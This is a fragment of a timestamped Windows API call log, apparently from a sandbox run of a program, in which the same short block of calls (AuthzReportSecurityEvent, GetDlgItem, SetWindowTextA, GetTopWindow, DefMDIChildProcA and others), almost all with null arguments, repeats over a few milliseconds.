dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.561] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.561] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.561] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.561] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.561] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.561] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.561] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.561] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.561] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.561] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.561] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.562] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.562] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.562] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.562] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.562] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.562] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.562] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.562] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.562] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.562] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.562] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.562] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.563] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.563] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.563] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.563] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.563] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.563] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.563] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.563] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.563] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.563] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.563] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.563] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.563] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.563] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.563] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.563] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.563] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.563] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.563] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.564] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.564] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.564] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.564] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.564] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.564] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.564] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.564] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.564] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.564] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.564] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.564] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.565] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.565] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.565] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.565] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.565] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.565] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.565] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.565] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.565] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.565] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.566] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.566] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.566] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.566] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.566] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.566] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.566] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.566] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.566] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.566] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.566] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.566] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.566] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.567] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.567] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.567] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.567] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.567] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.567] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.567] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.567] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.567] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.567] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.567] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.568] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 